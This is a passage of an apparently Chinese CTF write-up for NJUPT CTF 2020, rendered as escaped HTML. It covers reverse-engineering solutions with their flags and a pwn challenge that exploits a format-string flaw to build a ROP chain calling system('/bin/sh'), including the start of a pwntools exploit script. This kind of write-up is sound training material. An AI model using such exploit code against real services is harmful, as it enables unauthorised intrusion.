style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;(v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;nctf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;nctf&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; flag[] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6A&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x27&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xEB&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCA&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x65&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x02&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x61&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCA&lt;&#x2F;span&gt;&lt;span&gt;, 
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x68&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x27&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6B&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x80&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x22&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x27&lt;&#x2F;span&gt;&lt;span&gt;, 
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x02&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x27&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x63&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4B&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE3
&lt;&#x2F;span&gt;&lt;span&gt;    };
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;NCTF{&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;28&lt;&#x2F;span&gt;&lt;span&gt;;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; j&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;do&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt;(encrypt(j,nctf[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt;flag[i]){
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,j);
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            }
&lt;&#x2F;span&gt;&lt;span&gt;            j&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span&gt;(j&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;flag:&lt;code&gt;NCTF{X0r_15_ve57_5trange_and_u91y}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;re2&quot;&gt;re2&lt;&#x2F;h2&gt;
&lt;p&gt;base64+xor，有手就行&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;njuptctf-2020-wp&#x2F;.&#x2F;re2.png&quot; alt=&quot;re2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;exp:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;njuptctf-2020-wp&#x2F;.&#x2F;re2_exp.png&quot; alt=&quot;exp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;re3&quot;&gt;re3&lt;&#x2F;h2&gt;
&lt;p&gt;这题一堆反调，还有一个fake flag，太恶心了。反调手动patch后，找到两个关键函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;njuptctf-2020-wp&#x2F;.&#x2F;re3.png&quot; alt=&quot;re3&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通过左边的函数可以通过解方程算出来flag的下标为3,10,15的字符。然后通过自修改生成的函数开始是&lt;code&gt;push ebp;mov ebp,esp&lt;&#x2F;code&gt;，即&lt;code&gt;55 8B EC&lt;&#x2F;code&gt;可以计算出前三个字符，现在可以得到flag为&lt;code&gt;cp1@xxxxxx_xxxx-xxxxxxxx&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;通过分析可以得出自修改得到的函数是AES_ECB加密，key是&lt;code&gt;nctf2020x1c66666&lt;&#x2F;code&gt;。对ps2加密。&lt;&#x2F;p&gt;
&lt;p&gt;然后再通过ec1,ec2对ps2和ps3进行逐位异或，异或的内容是固定的，可以用测试数据计算出来。&lt;&#x2F;p&gt;
&lt;p&gt;将v1进行对应异或，再AES_ECB解密，填入对应位置，得到flag:&lt;code&gt;cp1@plus1s_v2ey-veryha36&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pwn&quot;&gt;Pwn&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;fake-qiandao&quot;&gt;fake_qiandao&lt;&#x2F;h2&gt;
&lt;p&gt;先来一个思维导图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;njuptctf-2020-wp&#x2F;.&#x2F;fake_qiandao.svg&quot; alt=&quot;fake_qiandao&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;函数介绍：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;choose函数：输入10字符(无溢出)，然后&lt;code&gt;atol&lt;&#x2F;code&gt;返回，但实际只需要1或2，所以可以利用剩下的9个字符布局栈，这里是写入地址，提供给printf，实现任意地址读写。&lt;&#x2F;li&gt;
&lt;li&gt;login函数：先输入49字符的input(data段)，然后经过&lt;code&gt;base64&lt;&#x2F;code&gt;加密，放入长48字节的base64Input(data段)这里就存在溢出了，base64Input后面是start函数里&lt;code&gt;printf&lt;&#x2F;code&gt;的第一个参数。刚好这里的&lt;code&gt;base64&lt;&#x2F;code&gt;加密的字母表是&lt;code&gt;A-Za-z0-9%$&lt;&#x2F;code&gt;，其中的&lt;code&gt;%$&lt;&#x2F;code&gt;可以用来给&lt;code&gt;printf&lt;&#x2F;code&gt;格式化输出。&lt;&#x2F;li&gt;
&lt;li&gt;start函数：在login函数输入&lt;code&gt;rrrtql&lt;&#x2F;code&gt;会修改一次标志，标志为真时会调用&lt;code&gt;printf&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;利用思路：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;泄露栈地址、程序地址、libc地址&lt;&#x2F;li&gt;
&lt;li&gt;任意地址写布局栈 &lt;code&gt;pop rdi -&amp;gt; bin_sh_addr -&amp;gt; system_addr -&amp;gt; &#x27;&#x2F;bin&#x2F;sh&#x27;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;修改函数返回地址，进入布局的栈中，get shell&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;exp:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;base64
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;DEBUG&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;False
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;DEBUG&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;process(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;main&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;connect(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;42.192.180.50&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;25004&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;MyBase64&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;STANDARD_ALPHABET &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+&#x2F;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;__init__&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;alphabet&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;alphabet &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            alphabet &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;MyBase64.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;STANDARD_ALPHABET
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(alphabet) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(MyBase64.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;STANDARD_ALPHABET&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;raise &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;RuntimeError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;MyBase64 init error:alphabet len should equal 64&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.alphabet &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;alphabet
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;data_to_encode&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        encoded &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;base64.b64encode(data_to_encode)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;encoded.translate(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;.maketrans(MyBase64.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;STANDARD_ALPHABET&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.alphabet))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;decode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;string_to_decode&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        encoded &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;string_to_decode.translate(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;.maketrans(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.alphabet, MyBase64.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;STANDARD_ALPHABET&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;base64.b64decode(encoded)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;b64&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;MyBase64(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%$&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;login&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    sh.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Command: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    sh.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Plz input the key&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,text)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;loginBase64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#对齐
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(text)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;mmm&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(text)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;mm&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(text)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;m&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    login(b64.decode(text))
